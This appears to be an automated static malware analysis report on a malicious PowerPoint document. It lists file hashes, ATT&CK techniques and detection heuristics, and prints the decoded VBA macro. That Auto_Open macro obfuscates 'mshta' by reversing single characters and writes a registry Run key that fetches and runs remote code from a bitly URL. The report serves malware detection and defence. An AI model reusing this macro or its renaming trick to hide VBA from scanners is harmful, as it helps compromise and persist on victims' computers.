Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 3755e47cbc55e875…

MALICIOUS

Office (OOXML)

7.4 KB First seen: 2021-06-20
MD5: d2b6299fc0d63f3faec30bc522d91e3b SHA-1: f50ad98ca9ddf81b05e92be1490c6a66da53729d SHA-256: 3755e47cbc55e87538a9bc96b96355a44c38b78534f5efb939ecca2c29919f3b
182 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1547.001 Registry Run Keys / Startup Folder

The VBA macro Auto_Open executes GetObject to interact with WMI, specifically to write a value to the registry Run key. The value written is a reconstructed URL: "https://www.bitly.com/haiajdwdijwwdhwidwij", which is intended to establish persistence for a payload. The use of VBA macros and the registry Run key points to a common downloader or dropper pattern.

Heuristics 6

  • VBA project inside OOXML medium 4 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present (project part renamed away from vbaProject.bin: ppt/.bin)
  • VBA project part renamed to evade filename detection high OOXML_VBA_PROJECT_RENAMED
    The VBA project is bound through the OOXML relationship/content type but its part is not named vbaProject.bin. Legitimate Office producers always emit vbaProject.bin; renaming it hides the macros from path-only scanners (observed in the SVCReady loader).
  • Auto_Open macro high OLE_VBA_AUTO
    Auto_Open macro
  • GetObject call high OLE_VBA_GETOBJ
    GetObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL https://www.bitly.com/haiajdwdijwwdhwidwij In document text (OOXML body / shared strings)

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 635 bytes
SHA-256: c0de6ab42678e444df769eaa912c10b9dd96463e0d2b40b95a31a28129cae697
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "Module1"
Sub Auto_Open()

r = StrReverse("s")
m = StrReverse("M")
p = StrReverse("H")
tu = StrReverse("T")
x = StrReverse("""")
ha = StrReverse("a")
culik = StrReverse("""")
calc = x + m + r + p + tu + ha + culik
Const polooood = &H80000001
mamammakdkd = "."
Set kaosdkqowkdok = GetObject("winmgmts:\\" & mamammakdkd & "\root\default:StdRegProv")
kdkaskllll = "SOFTWARE\Microsoft\Windows\CurrentVersion\Run"
hotagotamota = "Updater"
pipatatutupu = calc + """https://www.bitly.com/haiajdwdijwwdhwidwij"""
kaosdkqowkdok.SetStringValue polooood, kdkaskllll, hotagotamota, pipatatutupu

End Sub
vbaProject_00.bin vba-project OOXML VBA project: ppt/.bin 13824 bytes
SHA-256: 10969f2cbdc7df84e99f6a729cc03fd1a3cb04befa0579273c7ca0e24dcdbcff

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